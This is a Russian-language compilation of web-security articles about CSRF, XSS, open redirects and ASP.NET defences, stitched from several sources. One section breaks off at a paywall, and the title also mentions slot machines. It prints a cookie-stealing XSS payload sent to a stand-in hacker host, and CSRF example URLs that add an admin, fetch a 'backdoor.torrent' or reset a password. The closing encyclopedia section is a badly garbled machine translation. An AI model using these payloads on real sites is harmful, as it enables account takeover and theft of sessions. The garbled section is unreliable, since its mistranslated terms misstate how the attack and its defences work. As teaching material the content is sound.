Подозрение на атаку cross site request forgery. Уязвимость CSRF. Введение. Разновидности игровых автоматов

Да я помню что я обещал в предыдущем сообщении написать про капчу, но, честно говоря, писать про эти капчи у меня уже сил нет. Да и надоело то, что мне, как аналитику ИБ, приходят в личку только предложения по взлому капч, и никакой другой нормальной работы.

В общем буду подниматься в глазах публики, начну писать статьи касательно безопасности. Мой профиль это в основном безопасность веб приложений, поэтому и писать я буду про безопасность веб приложений, в том числе и про уязвимости этих приложений.

Этот цикл статей будет посвящен CSRF уязвимостям . Не слышали такой термин? Значит этот цикл для вас;)

Введение

Конечно, нынче уже каждый более менее опытный разработчик наслышан про такие классические уязвимости как:

  • SQL injection
  • PHP include

Раньше, на заре развития интернета, практически каждое приложение содержало кучу таких уязвимостей. Но с каждым днем становилось все сложней встретить уязвимости такого типа. И взломщики становились все более изощреннее, что приводило к разработкам новых типов и векторов атаки — один из этих типов атаки был выделен в отдельный класс и получил название CSRF.

Что такое CSRF. Теория

Зайдем на википедию:

CSRF (англ. Сross Site Request Forgery - «Подделка межсайтовых запросов», также известен как XSRF) - вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.

Если более понятным языком, то это атака, при которой злоумышленник пытается вынудить браузер жертвы создать запрос к целевому серверу, втайне от самой жертвы. Схематично это будет выглядеть следующим образом:

Данная атака в чем то похоже на классическую XSS, в которой злоумышленнику необходимо было вынудить жертву перейти по некоторой ссылке на уязвимую страницу. Здесь же необходимо вынудить пользователя перейти на специально подготовленную злоумышленником страницу, на которую был добавлен некоторый код. При выполнении данного кода браузер жертвы совершает некий запрос к другому серверу (допустим под видом загрузки изображения), и тем самым выполняет некие, нужные злоумышленнику, действия.

Опасность CSRF в том, что данное поведение браузеров и всего HTTP протокола является нормальным. К примеру, ведь нормально то, что сайт может на своих страницах содержать картинки с другого сайта. А браузеру неизвестно заранее что именно пытаются заставить его загрузить, действительно картинку, или под видом данной загрузки будет выполнено какое то действие на целевом сайте.

Немножко практики

Возьмем, к примеру, целевой сферический сайт в вакууме, который имеет вполне стандартную админку с функцией добавления нового администратора:

Разработчик данной формы ничего не знал об уязвимости CSRF, и защиты от нее он, естественно, не делал. Ну и плюс ко всему (чтобы пример был проще) он передавал данные методом GET. По нажатию кнопки «создать» браузер сформирует запрос к следующей странице:
http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com
И после того как запрос будет выполнен, на данном сайте появится новый администратор. Казалось бы что с того — это вполне обычная функциональность на многих сайтах. Но здесь то и кроется главная ошибка. Жертву можно заставить выполнить данный запрос при заходе на абсолютно другой сайт. Создаем следующую страницу по адресу http://evil/page.html


Обычная страница


С обычным текстом. Но с необычным содержимым



И теперь, если жертва зайдет на http://evil/page.html , то браузер попытается загрузить картинку, но вместо этого выполнит запрос к админ панели, тем самым создав нового администратора. Единственным обязательным условием успешной эксплуатации данной уязвимости является необходимость того, что жертва должна быть авторизована на уязвимом сервере в момент проведения атаки.

Заключение

С тем, что такое CSRF мы разобрались. Давайте попробуем выделить основные требования для успешного проведения атаки:

  • Возможность вынудить жертву перейти на страницу с дополнительным кодом. Или возможность модификации злоумышленником часто посещаемых жертвой страниц (как говорится если гора не идет к Магомету, то…).
  • Отсутствие защиты от CSRF на целевом сайте (о ней в ).
  • Пользователь в момент атаки должен быть авторизован для действия, которое мы хотим выполнить от его имени.

И на основе этих требований попытаемся построить защиту в следующей статье…

ASP.NET MVC - не самый хайповый, но довольно популярный стек в среде веб-разработчиков. С точки зрения (анти)хакера, его стандартная функциональность дает тебе кое-какой базовый уровень безопасности, но для предохранения от абсолютного большинства хакерских трюков нужна дополнительная защита. В этой статье мы рассмотрим основы, которые должен знать о безопасности ASP.NET-разработчик (будь то Core, MVC, MVC Razor или Web Forms).

Начнем со всем известных видов атак.

SQL Injection

Как ни странно, но в 2017 году injection и, в частности, SQL injection находятся на первом месте среди «Toп-10 рисков безопасности OWASP» (Open Web Application Security Project). Этот вид атаки подразумевает, что введенные пользователем данные используются на серверной стороне в качестве параметров запроса.

Пример классической SQL-инъекции скорее характерен именно для приложений Web Forms. От атак помогает защититься использование параметров в качестве значений запроса:

String commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters["@ID"].Value = customerID;

Если ты разрабатываешь MVC-приложение, то Entity Framework прикрывает некоторые уязвимости. Получить сработавшую в MVC/EF-приложении SQL-инъекцию нужно умудриться. Однако это возможно, если ты выполняешь SQL-код с помощью ExecuteQuery или вызываешь плохо написанные хранимые процедуры.

Несмотря на то что ORM позволяет избежать SQL-инъекции (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит, и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex укажи диапазон ^+$ . А если в поле должны быть введены цифры, то укажи это как требование:

Public string Zip { get; set; }

В Web Forms ограничить значения можно с помощью валидаторов. Пример:

Начиная с.NET 4.5 Web Forms используют Unobtrusive Validation. А это значит, что не требуется писать какой-то дополнительный код для проверки значения формы.

Валидация данных, в частности, может помочь защититься от еще одной всем известной уязвимости под названием cross-site scripting (XSS).

XSS

Типичный пример XSS - добавление скрипта в комментарий или запись в гостевую книгу. Выглядеть он может так:

document.location="https://verybadcoolhacker.com/?cookie="+encodeURIComponent(document.cookie)

Как ты понимаешь, в данном примере куки с твоего сайта передаются в качестве параметра на какой-то хакерский ресурс.

В Web Forms можно совершить ошибку с помощью примерно такого кода:

Извините , но пароль ошибочный

Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта, можно как минимум использовать другое ASP.NET-выражение: , которое энкодит свое содержимое.

Если мы используем Razor, то строки автоматически энкодируются, что сводит возможность реализации XSS к минимуму - хакер сможет ее провернуть, только если ты грубо ошибешься, например используешь @Html.Raw(Model.username) или заюзаешь в своей модели MvcHtmlString вместо string .

Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В.NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web: HtmlEncoder , JavaScriptEncoder и UrlEncoder .

Следующий пример вернет строку :

String encodedString = HtmlEncoder.Default.Encode("");

В классическом.NET используется HttpUtility.HtmlEncode . А начиная с.NET 4.5 можно сделать AntiXssEncoder энкодером по умолчанию. Делается это добавлением в тег httpRuntime файла web.config одного атрибута:

Таким образом, сохранив старый код HttpUtility.HtmlEncode , мы будем пользоваться новым и более стойким к уязвимостям классом (также в новом коде будут задействованы старые классы HttpServerUtility и HttpResponseHeader).

Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением. Кроме того, если мы используем какую-то строку, введенную пользователем, в качестве параметра для передачи в URL, то обязательно нужно юзать UrlEncoder .

Cross-Site Request Forgery (CSRF)

Википедия в «алиэкспрессовском» стиле утверждает, что на русском CSRF звучит как «межсайтовая подделка запроса». При таком типе атаки вредоносный сайт, на который заходит пользователь, отправляет запросы на другой ресурс. На хороший сайт, на котором пользователь зарегистрирован и который он недавно посещал. Может случиться так, что информация об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то скрытое вредоносное действие.

Избежать этой атаки в MVC помогает всем известный хелпер @Html.AntiForgeryToken() , добавленный во View, и добавленный перед action контроллера атрибут . Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того, как пользователь совершает запрос, он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохраняться как в заголовке, так и в скрытом поле или в кукисах.

Страницы Razor защищены от XSRF/CSRF-атак по умолчанию. А вот если мы используем AJAX-запросы, то есть возможность отправить токены в заголовке. По сравнению с использованием AntiForgeryToken это не так просто. Для настройки этой возможности ASP.NET Core использует сервис Microsoft.AspNetCore.Antiforgery.IAntiforgery . Классические ASP.NET-приложения используют метод AntiForgery.GetTokens для генерации токенов и AntiForgery.Validate для проверки полученных серверной стороной токенов.

Open redirect attacks

Будь осторожен с редиректами! Следующий код очень опасен:

Response.Redirect(Request.QueryString["Url"]);

Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассмотреть адрес полностью (особенно если он длинный) и кликнуть ссылку, таким образом перейдя на вредоносный сайт с твоего, хорошего (у тебя же хорошие сайты?). Эта уязвимость может использоваться, в частности, для фишинга. Пример фишинговой ссылки:

Http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com

Многие пользователи, получив email со ссылкой, смотрят, совпадает ли домен, и совсем не ожидают переброски на злодейский ресурс. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (решив, что случайно вышли из аккаунта). После чего, кстати, могут быть перенаправлены злоумышленниками обратно на настоящий сайт.

Этот вид атак касается и MVC. В следующем примере происходит проверка на то, является ли ссылка локальной:

Private ActionResult RedirectToLocalPage(string redirectUrl) { if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // ... }

Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect:

Private ActionResult RedirectToLocalPage(string redirectUrl) { return LocalRedirect(redirectUrl); }

В общем, старайся никогда не доверять полученным данным.

Mass assignment

Разберем эту уязвимость на примере. Допустим, в нашем веб-сайте есть простая модель с двумя свойствами:

Public class UserModel { public string Name { get; set; } public bool IsAdmin { get; set; } }

И есть обычная и довольно простая вьюшка:

@model UserModel @if (Model.IsAdmin) { You are an admin } else { You are a standard user } Submit

С помощью этой вьюшки можно редактировать только имя пользователя, не так ли?

А теперь давай перейдем к столь же простому коду:

Public IActionResult Vulnerable(int id, UserModel model) { return View("Index", model); }

Все ли здесь нормально? Как оказывается, нет. А все из-за того, что экшен помечен как HttpPost . Чтобы убедится в этом, достаточно открыть утилиту вроде Postman или Fiddler и отправить POST-запрос на адрес с указанием параметров id и IsAdmin. Если мы тестируем локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.

Как видно на скриншоте, получен доступ к секретной информации (в HTML-коде есть строка You are an admin). Как защититься от этого типа атаки? Самый простой вариант - не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если этого не избежать, нужно быть готовым к тому, что передано может быть все что угодно. Один из вариантов - это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:

Продолжение доступно только участникам Вариант 1. Присоединись к сообществу «сайт», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score!

Cross-Site Request Forgery – много шума из-за ничего

Alexander Antipov

В последнее время в сообществе специалистов по безопасности Web-приложений широко обсуждается «новый» тип уязвимостей, получивший название Cross-Site Request Forgery (CSRF или XSRF). Предлагаемая вниманию читателя статья содержит описание этого типа уязвимостей, методов его использования и основные походы к защите.


Сергей Гордейчик

Gоrdey @ ptsеcurity com

В последнее время в сообществе специалистов по безопасности Web-приложений широко обсуждается «новый» тип уязвимостей, получивший название Cross-Site Request Forgery (CSRF или XSRF). Предлагаемая вниманию читателя статья содержит описание этого типа уязвимостей, методов его использования и основные походы к защите. Общепринятый русский термин для обозначения Cross-Site Request Forgery ещё не устоялся, в связи с чем автор предлагает использовать вариант «Подделка HTTP-запросов».

Лирическое отступление

Прежде всего, хотелось бы остановиться на основных заблуждениях связанных с CSRF:

1. Подделка HTTP-запросов – новый тип уязвимостей.

Это далеко не так. Теоретические размышления на тему подделки источника сообщений датированы 1988 годом (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), а практические примеры уязвимостей обсуждаются в Bugtraq как минимум с 2000 года (http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Сам термин введен Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) в 2001 году.

2. CSRF – это вариант Межсайтового выполнения сценариев (XSS).

Единственное сходство между CSRF и XSS, это использование в качестве вектора атаки клиентов Web-приложений (Client-Side Attack в терминологии WASC http://www.webappsec.org/projects/threat/). Уязвимости типа CSRF могут эксплуатироваться совместно с XSS или «редиректорами» (http://www..php), но представляют собой отдельный класс уязвимостей.

3. Уязвимость CSRF мало распространена и достаточно сложна в использовании.

Данные, полученные компанией Positive Technologies в ходе работ по тестированию на проникновение и оценки защищенности Web-приложений показывают, что этой уязвимости подвержена большая часть Web-приложений. В отличие от других уязвимостей CSRF возникает не в результате ошибок программирования, а является нормальным поведением Web-сервера и браузера. Т.е. большинство сайтов, использующих стандартную архитектуру уязвимы «по умолчанию».

Пример использования

Давайте рассмотрим использование CSRF на примере. Предположим, существует некое Web-приложение, отправляющее сообщения электронной почты. Пользователь указывает адрес электронной почты и текст сообщения, нажимает кнопку Submit и сообщение от его адреса передается получателю.

Рис. 1. Отправка сообщения

Схема знакома по множеству сайтов и не вызывает никаких возражений. Однако указанное приложение с большой вероятности уязвимо для атак «Подделка HTTP-запроса». Для эксплуатации уязвимости злоумышленник может создать на своем сайте страницу содержащую ссылку на «изображение», после чего заставить пользователя перейти по ссылке на свой сайт (например, http://bh.ptsecurity.ru/xcheck/csrf.htm).

При обращении к странице браузер пользователя пытается загрузить изображение, для чего обращается к уязвимому приложению, т.е. оправляет сообщение электронной почты адресату, указанному в поле «to» запроса.

Рис. 2. Атака CSRF

Обратите внимание, что браузер пользователя отправит сайту значение Cookie, т.е. запрос будет воспринят как исходящий от аутентифицированного пользователя. Для того чтобы заставить пользователя загрузить страницу, отправляющую запрос к уязвимому серверу, злоумышленник может использовать методы социальной инженерии, а также технические уязвимости, такие как XSS и ошибки в реализации функции перенаправления.

Рис. 3. Логика работы CSRF

Таким образом, атака с использованием CSRF заключается в использовании браузера пользователя для передачи HTTP-запросов произвольным сайтам, а уязвимость – в отсутствии проверки источника HTTP-запроса. Приведенное в примере приложение использует HTTP-метод GET для передачи параметров, что упрощает жизнь злоумышленнику. Однако не стоит думать, что использование метода POST автоматически устраняет возможность проведения атак с подделкой HTTP-запроса. Страница на сервере злоумышленника может содержать готовую HTML-форму, автоматически отправляемую при просмотре страницы.

Для эксплуатации CSRF злоумышленнику совсем не обязательно иметь свой Web-сервер. Страница, инициирующая запрос может быть передана по электронной почте или другим способом.

В обзоре Billy Hoffman приведены различные методы сетевого взаимодействия с помощью Javascript. Все они, включая XmlHttxmpquest (в некоторых ситуациях), могут быть задействованы для реализации атак CSRF.

Надеюсь, что сейчас читателю уже понятно основное отличие CSRF от XSS. В случае с XSS злоумышленник получает возможность доступа к DOM (Document Object Model) уязвимой страницы, как на чтение, так и на запись. При выполнении CSRF атакущий имеет возможность передать запрос серверу с помощью браузера пользователя, но получить и проанализировать ответ сервера, а тем более его заголовок (например, Cookie) уже не сможет. Соответственно, «Подделка HTTP-запросов» позволяет работать с приложением в режиме «только на запись», чего впрочем, вполне достаточно для выполнения реальных атак.

Основными целями CSRF-атак являются различные интерактивные Web-приложения, например системы электронной почты, форумы, CMS, интерфейсы удаленного управления сетевым оборудованием. Например, злоумышленник может отправлять сообщения от имени других пользователей, добавлять новые учетные записи, или изменять настройки маршрутизатора через Web-интерфейс.

Рис. 4. Пример эксплуатации CSRF в форуме

Остановимся подробнее на последнем – изменении настроек сетевых устройств. Автор уже по отношению к системам обнаружения беспроводных атак, но естественно, ими дело не ограничивается.

Пробиваем периметр

В декабре прошлого года компания Symantec опубликовала отчет о «новой» атаке, под называнием «Drive-By Pharming», которая, по сути, является вариантом эксплуатации CSRF. Злоумышленник выполняет в браузере пользователя некий «волшебный» JavaScript, изменяющий настройки маршрутизатора, например устанавливающего новое значение DNS-сервера. Для выполнения этой атаки необходимо решить следующие задачи:

Сканирование портов с помощью JavaScript;

Определение типа Web-приложения (fingerprint);

Подбор пароля и аутентификация с помощью CSRF;

Изменение настроек узла с помощью атаки CSRF.

Техника сканирования определения доступности Web-сервера и его типа по с помощью JavaScript проработана достаточно хорошо и сводится к динамическому созданию HTML-объектов (например, img src=), указывающие на различные внутренние URL (например, http://192.168.0.1/pageerror.gif). Если «картинка» была успешно загружена, то по тестируемому адресу расположен Web-сервер на базе Microsoft IIS. Если в ответ было получена ошибка 404, то порт открыт и на нем работает Web-сервер. В случае если был превышен таймаут – сервер отсутствует в сети или порт заблокирован на межсетевом экране. Ну и в остальных ситуациях – порт закрыт, но хост доступен (сервер вернул RST-пакет и браузер вернул ошибку до истечения таймаута). В некоторых ситуациях подобное сканирование портов из браузера пользователя может проводиться без использования JavaScript (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

После определения типа устройства злоумышленник может попробовать заставить браузер пользователя сразу послать запрос на изменение настроек. Но такой запрос будет успешен только в случае, если браузер пользователя уже имеет активную аутентифицированную сессию с устройства. Иметь под рукой открытую страницу управления маршрутизатором - дурная привычка многих «продвинутых» пользователей.

Если же активной сессии с интерфейсом управления нет, злоумышленнику необходимо пройти аутентификацию. В случае если в устройстве реализована аутентификация на основе форм, никаких проблем не возникает. Используя CSRF в POST, серверу отправляются запрос на авторизацию, после чего с него загружается изображение (или страница) доступная только аутентифицированным пользователям. Если изображение было получено, то аутентификация прошла успешно, и можно приступать к дальнейшим действиям, в обратном случае – пробуем другой пароль.

В случае если в атакуемом устройстве реализована аутентификация по методу Basic, задача усложняется. Браузер Internet Explorer не поддерживает возможность указать имя пользователя и пароль в URL (например, http://user:[email protected]). В связи с этим для выполнения Basic-аутентификации может использоваться метод с добавлением HTTP-заголовков с помощью Flash, описанный в статье . Однако этот метод подходит только для старых версий Flash, которые встречаются все реже и реже.

Но другие брузеры, например Firefox дают возможность указать имя пользователя и пароль в URL, и могут быть использованы для аутентификации на любом сервере, причем это можно сделать без генерации сообщения об ошибке в случае выбора неверного пароля.

Пример сценария для «тихой» аутентификации по методу Basic, из блога Stefan Esser приведен ниже.

Firefox HTTP Auth Bruteforcing

Рис. 5. Аутентификация Basic в Firefox

В корпоративной среде, где зачастую используются механизмы SSO, например, на базе домена Active Directory и протоколов Kerberos и NTLM эксплуатация CSRF не требует дополнительных усилий. Браузер автоматически пройдет аутентификацию в контексте безопасности текущего пользователя.

После того как аутентификация была пройдена, злоумышленник с помощью JavaScript передать запрос, изменяющий произвольные настройки маршрутизатора, например адрес DNS-сервера.

Методы защиты

Первое, что приходит на ум, когда речь заходит о защите от CSRF – это проверка значения заголовка Referer. И действительно, поскольку подделка HTTP-запросов заключается в передаче запроса с третьего сайта, контроль исходной страницы, чей адрес автоматически добавляется браузером в заголовки запроса, может решить проблему.

Однако этот механизм имеет ряд недостатков. Во-первых – перед разработчиком встает вопрос об обработке запросов, не имеющих заголовка Referer как такового. Многие из персональных межсетевых экранов и анонимизирующих proxy-серверов вырезают Referer, как потенциально небезопасный заголовок. Соответственно, если сервер будет игнорировать подобные запросы, группа наиболее «параноидально» настроенных граждан не смогут с ним работать.

Во-вторых, в некоторых ситуациях заголовок Referer может быть подделан, например, с помощью уже упоминавшегося трюка с Flash. Если пользователь применяет IE 6.0, то содержимое заголовка запроса может быть модифицировано c использованием ошибки в реализации XmlHttxmpquest. Уязвимость заключается в возможности использования символов перевода строки в имени HTTP-метода, что позволяет изменять заголовки и даже внедрять дополнительный запрос. Эта уязвимость была обнаружена Amit Clein () в 2005 году и снова открыта в 2007. Ограничением этого метода является то, что он работает только в случае наличия между пользователем и сервером HTTP-Proxy или размещения серверов на одном IP-адресе, но с разными доменными именами.

Другой распространенный метод – добавление уникального параметра к каждому запросу, который затем проверяется сервером. Параметр может добавляться к URL при использовании GET запроса как например, в или в виде спрятанного параметра формы, при использовании POST. Значение параметра может быть произвольным, главное, чтобы злоумышленник не мог его предсказать, например – значение сессии пользователя.

Рис. 6. Защита от CSRF в Bitrix

Для быстрого добавления функции проверки CSRF в свое приложение можно воспользоваться следующим подходом:

1. Добавлять в каждую генерируемую страницу небольшой JavaScript, дописывающий во все формы дополнительный скрытый параметр, которому присваивается значение Cookie.

2. Проверять на сервере, что переданные клиентом с помощью метода POST данные содержат значение, равное текущему значению Cookie.

Пример подобного клиентского сценария приведен ниже:

Дальнейшим развитием этого подхода является сохранение идентификатора сессии не в Cookie, а в качестве скрытого параметра формы (например, VIEWSTATE).

В качестве метода противодействия CSRF могут использоваться различные варианты тестов Тьюринга, например, хорошо известные всем изображения - CAPTCHA. Другим популярным вариантом является необходимость ввода пользовательского пароля при изменении критичных настроек.

Рис. 7. Защита от CSRF в mail.ru

Таким образом, Cross-Site Request Forgery являются атакой, направленной на клиента Web-приложения и использующей недостаточную проверку источника HTTP-запроса. Для защиты от подобных атак может использоваться дополнительный контроль источника запроса на основе заголовка Referer или дополнительного «случайного» параметра.

Сергей Гордейчик работает системным архитектором компании Positive Technologies, где он специализируется в вопросах безопасности приложений, безопасности беспроводных и мобильных технологий. Автор также является ведущим разработчиком курсов «Безопасность беспроводных сетей», «Анализ и оценка защищенности Web-приложений» учебного центра «Информзащита» . Опубликовал несколько десятков статей в “Windows IT Pro/RE”, SecurityLab и других изданиях. Является участником проектов Web Application Security Consortium (WASC).

Запрос Межсайтовая подделки , также известная как один клик атаки или сеанс езды и сокращенно CSRF (иногда выраженный морской прибой ) или XSRF , является одним из видов вредоносных эксплуатируют из веба - сайта , где несанкционированные команды передаются от пользователя , что веб приложение доверяет. Есть много способов, в которых вредоносный веб - сайт может передавать такие команды; специально созданные теги изображений, скрытые формы и JavaScript XMLHttpRequests, например, все это может работать без взаимодействия пользователя или даже знания. В отличии от межсайтового скриптинга (XSS), который использует доверие пользователя имеет для конкретного сайта, CSRF эксплуатирует доверие, что сайт имеет в браузере пользователя.

история

CSRF уязвимости известны и в некоторых случаях эксплуатации с 2001 года Поскольку осуществляется от пользователя IP - адрес , некоторые журналы веб - сайта может не иметь доказательства CSRF. Эксплойты занижены, по крайней мере публично, и по состоянию на 2007 г. было несколько хорошо документированных примеров:

  • Netflix веб - сайт в 2006 году были многочисленные уязвимости к CSRF, которые могли бы позволить атакующему выполнять такие действия, как добавление DVD в аренду очереди жертвы, изменить адрес доставки на счету, или изменения учетных данных для входа жертвы, чтобы полностью скомпрометировать счет,
  • Онлайн - банкинг веб - приложение ING Direct была уязвима для атак CSRF , что позволило незаконных денежных переводов.
  • Популярное видео веб - сайт YouTube был также уязвим для CSRF в 2008 году, и это позволило любому злоумышленнику выполнить практически все действия любого пользователя.
  • McAfee также уязвим для CSRF, что позволило злоумышленникам изменить свою систему компании.

Новые нападения на веб-устройства были проведены в 2018 году, в том числе попытки изменить настройки DNS маршрутизаторов. Некоторые производители маршрутизаторов поспешно выпустили обновление прошивки для улучшения защиты, и посоветовали пользователь изменять настройки маршрутизатора, чтобы уменьшить риск. Подробности не были освобождены, ссылаясь на «очевидные соображения безопасности».

Пример и характеристики

Злоумышленники, которые могут найти воспроизводимую ссылку, которая выполняет определенное действие на целевой странице, пока жертва регистрируется в может встроить такую ссылку на странице, которую они контролируют и обмануть жертву в его открытии. Ссылка атаки носителя может быть размещена в месте, что жертва, скорее всего, посетить, войдя в сайт - мишени (например, обсуждение на форуме), или отправить в теле письма HTML или вложении. Реальный CSRF уязвимости в Utorrent (CVE-2008-6586) использовали тот факт, что его веб - консоль доступна на локальном хосте : 8080 позволило критические действия, которые будут выполняться с помощью простого запроса GET:

Принудительная .torrent файл скачать HTTP: // локальный: 8080 / GUI / действие = добавление URL & s = HTTP: //evil.example.com/backdoor.torrent Изменение пароля администратора Utorrent HTTP: // локальный: 8080 / гуй / действие = setsetting & s = webui.password & v = eviladmin

Атаки были запущены путем размещения злонамеренных, автоматического действия элементов HTML изображений на форумах и спама в электронной почте , так что браузеры, посещающие эти страницы будут открывать их автоматически, без особых действий со стороны пользователя. Люди, работающие уязвимую версию Utorrent в то же время, открывая эти страницы были подвержены атаке.

CSRF атак с использованием тегов изображений часто делаются из интернет - форумов , где пользователи могут помещать сообщения изображения, но не JavaScript , например, с использованием BBCode :

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

При обращении к ссылке атаки на местном применении Utorrent на локальном хосте: 8080 , браузер будет также всегда автоматически отправлять любые существующие куки для этого домена. Это общее свойство веб - браузеров позволяет CSRF атак использовать свои целевые уязвимости и выполнения враждебных действий до тех пор, пока пользователь вошел в целевой веб - сайт (в данном примере локальный веб - интерфейс Utorrent) в момент нападения.

Запрос подлог кросс-сайт является запутаться заместитель атаки против веб - браузера.

CSRF обычно имеет следующие характеристики:

  • Она включает в себя сайты, которые полагаются на пользователя идентичности .
  • Он использует доверие сайта в этой идентичности.
  • Она обманывает браузер пользователя в отправке HTTP - запросы на целевой сайт.
  • Она включает в себя HTTP запросов, которые имеют побочные эффекты .
HTTP глаголы и CSRF
  • В HTTP GET эксплуатация CSRF тривиальна, используя методы, описанные выше, такие как простая гиперссылка , содержащей манипулируют параметры и автоматически загружается с помощью тега IMG . По спецификации HTTP однако, GET следует использовать в качестве безопасного метода , то есть существенно не изменяя состояние пользователя в приложении. Приложения, использующие GET для таких операций следует переключиться на HTTP POST или использовать защиту от CSRF.
  • HTTP POST имеет различные уязвимости к CSRF, в зависимости от подробных сценариев использования:
    • В простейшем виде POST с данными, закодированными в виде строки запроса (field1=value1&field2=value2) CSRF атаки легко реализуется с помощью простой формы HTML и анти-CSRF меры должны быть применены.
    • Если данные передаются в любом другом формате (JSON , XML) стандартный метод выдать запрос POST с использованием XMLHttpRequest с CSRF атак предотвращены СОП и ; есть метод для отправки произвольного содержимого из простой формы HTML с использованием ENCTYPE атрибута; такой поддельный запрос можно отличить от легитимных по text/plain типу контента, но если это не исполняется на сервере, CSRF может быть выполнен
  • другие методы HTTP (PUT, DELETE и т.д.) может быть выдан только с использованием XMLHttpRequest с СОП и и предотвращения CSRF; Однако эти меры не будут активны на веб - сайтах, которые явно отключить их с помощью Access-Control-Allow-Origin: * заголовка
Другие подходы к CSRF

Кроме того, в то время, как правило, описываются в качестве статического типа атаки, CSRF также может быть динамически построена как часть полезной нагрузки для сценариев межсайтовой атаки, как показана на Samy червь, или построенный на лету из информации о сеансе просочились через выездные содержания и послал к цели, как вредоносный URL. CSRF токены также может быть отправлены клиентом злоумышленником из - за фиксацию сессии или другие уязвимости, или угадали с помощью грубой силы атаки, переводимой на вредоносной странице, который генерирует тысячи неудачных запросов. Класс атаки «Dynamic CSRF», или с помощью полезной нагрузки каждого клиента для сеанса конкретного подлог, была описана в 2009 году Натан Hamiel и Шон Мойер на BlackHat брифингах, хотя систематика еще, чтобы получить более широкое применение.

Новый вектор для составления динамических атак CSRF был представлен Орен Офер на местном собрании OWASP главы января 2012 года - «АЯКС Молот - Dynamic CSRF».

Последствия

Серьезность показатели были выпущены на уязвимости CSRF , которые приводят к удаленному выполнению кода с привилегиями суперпользователя , а также уязвимость, которая может скомпрометировать корневой сертификат , который будет полностью подорвет инфраструктуру открытого ключа .

Ограничения

Некоторые вещи должны произойти для запроса межсайтового подлог, чтобы добиться успеха:

  • Злоумышленник должен предназначаться либо сайт, который не проверяет заголовок реферера или жертву с помощью браузера или плагин, который позволяет Referer подмену .
  • Атакующий должен найти форму представления на целевом сайте, или URL, который имеет побочные эффекты, что делает что-то (например, переводит деньги, или изменения адреса электронной почты жертвы или пароль).
  • Атакующий должен определить правильные значения для всех форм или входов URL; если любой из них должны быть секретные значения аутентификации или идентификаторы, что злоумышленник не сможет догадаться, что нападение, скорее всего, не в состоянии (если злоумышленник не очень повезло в их догадка).
  • Злоумышленник должен заманить жертву на веб-страницу с вредоносным кодом, пока жертва регистрируется в целевом сайте.
  • Атака слепа: атакующий не может видеть то, что целевой сайт отсылает обратно к жертве в ответ на кованых запросы, если они не эксплуатируют Межсайтовый скриптинг или другую ошибку на целевом сайте. Кроме того, злоумышленник может предназначаться только какой - либо ссылка или представить любые формы, которые приходят после первоначального кованого запроса, если эти последующие ссылки или формы так же предсказуемы. (Множественные цели могут быть смоделированы путем включения нескольких изображений на странице, или с помощью JavaScript , чтобы ввести задержку между щелчками.)

    С учетом этих ограничений, злоумышленник может иметь трудности в поиске анонимов жертв или уязвимую форма представления. С другой стороны, попытки атаки легко монтируется и незаметно для жертв, и разработчики приложений менее знакомы и подготовлены к атакам CS, чем они, скажем, для взлома паролей атак по словарю.

    профилактика

    Большинство методов профилактики CSRF работа пути внедрения дополнительных данных аутентификации в запросы, что позволяет веб-приложение для обнаружения запросов от несанкционированных мест.

    Синхронизатор маркер модели
    • При входе в систему, веб-приложение устанавливает печенье, содержащее случайный маркер, который остается неизменным на протяжении всего сеанса пользователя
    Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/
    • JavaScript работает на стороне клиента считывает значение и копирует его в пользовательский заголовок HTTP отправленного с каждым транзакционного запроса
    X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
    • Сервер проверяет наличие и целостность маркеров

    Безопасность этого метода основана на предположении, что только JavaScript работает в пределах того же происхождения , будет иметь возможность прочитать значение куков в. JavaScript работает с изгоями файла или адрес электронной почты не будет в состоянии прочитать и скопировать в пользовательский заголовок. Даже несмотря на то, CSRF-маркер куки будут автоматически отправлены с изгоев запроса, сервер будет по- прежнему ожидает действительный X-CSRF-токен заголовок .

    Маркер CSRF сам должен быть уникальным и непредсказуемым. Это может быть сгенерировано случайным образом, или же она может быть получена из маркеров сеанса с использованием HMAC :

